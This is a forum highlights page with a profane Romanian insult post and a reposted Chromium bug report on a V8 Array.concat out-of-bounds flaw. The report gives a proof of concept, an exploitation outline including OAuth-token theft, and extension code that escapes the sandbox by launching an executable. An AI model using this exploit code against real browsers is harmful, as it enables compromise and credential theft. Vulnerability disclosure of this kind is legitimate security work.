Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 10/19/18 in all areas

  1. tl;dr version: Treaba e ca esti prea prost ca sa intelegi cat esti de prost. Termenul de prostie/stupiditate (stupidity) provine din latinescul „stupere” care inseamna stupefiere (ex. uimire, uluire, toate intr-o lentoare pana la incremenire). Intr-o definitie aplicabila in cazul de fata, prostia se refera la capacitatea scazuta de a realiza concordanta intre scopurile pe care ni le propunem si mijloacele de atingere a lor. Esti luat la pula pentru ca esti prost. Prost pentru ca ai creat un asemenea lucru in primul rand, prost pentru ca il numesti "ghid", prost pentru ca intrebi aici cum sa il "promovezi", prost pentru ca vrei sa impartasesti din prostia-ti si altor prosti. Si nu in ultimul rand, prostul daca nu-i fudul, nu-i prost destul, dovada mai sus. Prostule!
    2 points
  2. VULNERABILITY DETAILS = Out-of-bounds access vulnerability in Array.concat() I use a bug in Array.concat() to execute arbitraty code in a sandbox. ---------------------------------------------------------------------- v8/src/runtime.cc [1] RUNTIME_FUNCTION(Runtime_ArrayConcat) { HandleScope handle_scope(isolate); ASSERT(args.length() == 1); CONVERT_ARG_HANDLE_CHECKED(JSArray, arguments, 0); int argument_count = static_cast<int>(arguments->length()->Number()); RUNTIME_ASSERT(arguments->HasFastObjectElements()); Handle<FixedArray> elements(FixedArray::cast(arguments->elements())); // Pass 1: estimate the length and number of elements of the result. // The actual length can be larger if any of the arguments have getters // that mutate other arguments (but will otherwise be precise). // The number of elements is precise if there are no inherited elements. ElementsKind kind = FAST_SMI_ELEMENTS; uint32_t estimate_result_length = 0; uint32_t estimate_nof_elements = 0; for (int i = 0; i < argument_count; i++) { HandleScope loop_scope(isolate); Handle<Object> obj(elements->get(i), isolate); uint32_t length_estimate; uint32_t element_estimate; if (obj->IsJSArray()) { Handle<JSArray> array(Handle<JSArray>::cast(obj)); length_estimate = static_cast<uint32_t>(array->length()->Number()); <<<<< Comment 1. This is first time, reference a length field of array. if (length_estimate != 0) { ElementsKind array_kind = GetPackedElementsKind(array->map()->elements_kind()); if (IsMoreGeneralElementsKindTransition(kind, array_kind)) { kind = array_kind; } } element_estimate = EstimateElementCount(array); } else { if (obj->IsHeapObject()) { if (obj->IsNumber()) { if (IsMoreGeneralElementsKindTransition(kind, FAST_DOUBLE_ELEMENTS)) { kind = FAST_DOUBLE_ELEMENTS; } } else if (IsMoreGeneralElementsKindTransition(kind, FAST_ELEMENTS)) { kind = FAST_ELEMENTS; } } length_estimate = 1; element_estimate = 1; } // Avoid overflows by capping at kMaxElementCount. if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { estimate_result_length = JSObject::kMaxElementCount; } else { estimate_result_length += length_estimate; <<<<< Comment 2. length_estimate, which is initialized in [Comment 1], is added to estimate_result_length. } if (JSObject::kMaxElementCount - estimate_nof_elements < element_estimate) { estimate_nof_elements = JSObject::kMaxElementCo unt; } else { estimate_nof_elements += element_estimate; } } ... ... Handle<FixedArray> storage; if (fast_case) { // The backing storage array must have non-existing elements to preserve // holes across concat operations. storage = isolate->factory()->NewFixedArrayWithHoles( <<<<< Comment 3. Create an array of size estimated_result_length. estimate_result_length); } else { // TODO(126): move 25% pre-allocation logic into Dictionary::Allocate uint32_t at_least_space_for = estimate_nof_elements + (estimate_nof_elements >> 2); storage = Handle<FixedArray>::cast( SeededNumberDictionary::New(isolate, at_least_space_for)); } ArrayConcatVisitor visitor(isolate, storage, fast_case); for (int i = 0; i < argument_count; i++) { Handle<Object> obj(elements->get(i), isolate); if (obj->IsJSArray()) { Handle<JSArray> array = Handle<JSArray>::cast(obj); if (!IterateElements(isolate, array, &visitor)) { <<<<< Comment 4. Call IterateElements() return isolate->heap()->exception(); } } else { visitor.visit(0, obj); visitor.increase_index_offset(1); } } if (visitor.exceeds_array_limit()) { return isolate->Throw( *isolate->factory()->NewRangeError("invalid_array_length", HandleVector<Object>(NULL, 0))); } return *visitor.ToArray(); <<<<< Comment 5. ToArray() create a corrupted Array. } ---------------------------------------------------------------------- Here is details on IterateElements() and ToArray(). ---------------------------------------------------------------------- v8/src/runtime.cc [1] static bool IterateElements(Isolate* isolate, Handle<JSArray> receiver, ArrayConcatVisitor* visitor) { uint32_t length = static_cast<uint32_t>(receiver->length()->Number()); <<<<< 4.1. This is second time, reference a length field of array. switch (receiver->GetElementsKind()) { ... } visitor->increase_index_offset(length); <<<<<<<<<< return true; } void increase_index_offset(uint32_t delta) { if (JSObject::kMaxElementCount - index_offset_ < delta) { index_offset_ = JSObject::kMaxElementCount; } else { index_offset_ += delta; <<<<<<<<< } } ---------------------------------------------------------------------- ---------------------------------------------------------------------- Handle<JSArray> ToArray() { Handle<JSArray> array = isolate_->factory()->NewJSArray(0); Handle<Object> length = isolate_->factory()->NewNumber(static_cast<double>(index_offset_)); <<<<< 5.1. local variable length is initalized with member variable index_offset_. Handle<Map> map = JSObject::GetElementsTransitionMap( array, fast_elements_ ? FAST_HOLEY_ELEMENTS : DICTIONARY_ELEMENTS); array->set_map(*map); array->set_length(*length); <<<<< array->set_elements(*storage_); <<<<< 5.2. However, storage_ is created with a size with [Comment 3]. return array; } ---------------------------------------------------------------------- (I can't definitely sure whether those above analysis is accurate or not.) Here is proof-of-concept. ---------------------------------------------------------------------- a = [1]; b = []; a.__defineGetter__(0, function () { b.length = 0xffffffff; }); c = a.concat(b); console.log(c); ---------------------------------------------------------------------- = From out-of-bounds to code execution Using out-of-bounds vulnerability in Array, attacker can trigger Use-after-free to execute code. 1. Create 2D Array, which contain corrupted Array(###) and normal Array(o), alternatively. [###########][ o ][###########][ o ][###########][ o ][###########][ o ] 2. free all normal Arrays(o) and 2D Array. 3. reference freed normal array(o) by corrupted array(###). ---------| [###########][ o ][###########][ o ][###########][ o ][###########][ o ] 4. Memory is not entirely clear, even normal Array(o) was freed. So we can use it as normal object. 5. Let an ArrayBuffer allocated on freed normal array(o) by creating many ArrayBuffer. 6. Through freed normal Array(o), manipulate ArrayBuffer's property(byteLength, buffer address) to arbitrary memory access. P.S. exploit is not optimized. = Sandbox bypassing via chrome extension Here, i describe exploit scenario and explain about sandbox escaping. Step 0. Victim open a malicious web page(Exploit). Step 1. Exploit let victim download a html page which will be executed on file:// origin. Step 2. After triggerring code execution vulnerability, open the html page(html page on step 1) by NavigateContentWindow(It use same functionality of chrome.embeddedSearch.newTabPage.navigateContentWindow of chrome://newtab). Step 3. Because of origin is file://. Attacker can access local files(read). but due to SecurityOrigin, use code execution flaws to change SecurityOrigin. Step 4. Upload user's oauth token information (%localappdata%/Google/Chrome/User Data/Default/Web Data) to attacker's server. Step 5. From now on, we can synchronize Chrome with the user's token(i'm not sure that there is additional security mechanism on OAuth to synchronize chrome browser). Step 6. Install extension for at Synchronized chrome. Step 7. During synchronization a user's Chrome install extension, too. [Step 4] may takes time. in case of windows, token file is encrypted with DPAPI. So, bruteforcing password for windows login is required to get a master key file at %appdata%/Microsoft/Protect/. [Step 6] use some vulnerability(?) in extension to bypass sandbox. In chrome://settings-frame/settings, user can change download.default_directory. Using chrome.downloads.showDefaultFolder(), chrome extension can open the directory on download.default_directory. but it doesn’t check whether directory path is file or directory. (in case of file, Chrome execute it) So, malicious attacker can bypass sandbox by set download.default_directory to an executable on external server(e.g. \\host\hihi.exe) then call chrome.downloads.showDefaultFolder(). I use debugger for extension to run JavaScript on chrome://settings-frame/settings. In general, url start with chrome:// is not attachable. but simple tricks as following works. view-source:chrome://settings-frame/settings about:settings-frame/settings Chrome extension code for sandbox escaping ---------------------------------------------------------------------- function sleep(milliseconds) { var start = new Date().getTime(); for (;;) { if ((new Date().getTime() - start) > milliseconds) break; } } chrome.tabs.create({url: "about:settings-frame/settings"}, function (tab) { chrome.debugger.attach({tabId: tab.id}, "1.0", function () { sleep(1000); chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'old = document.getElementById("downloadLocationPath").value; chrome.send("setStringPref", ["download.default_directory", "c:\\\\windows\\\\system32\\\\calc.exe"]);'}, function (o) { sleep(100); chrome.downloads.showDefaultFolder(); //open calc chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'chrome.send("setStringPref", ["download.default_directory", old]); window.close();'}); }); }); }); ---------------------------------------------------------------------- Tested on Windows 7 VERSION Chrome Version: 35.0.1916.153 stable Operating System: Windows 7 Sursa: https://bugs.chromium.org/p/chromium/issues/detail?id=386988
    1 point
×
×
  • Create New...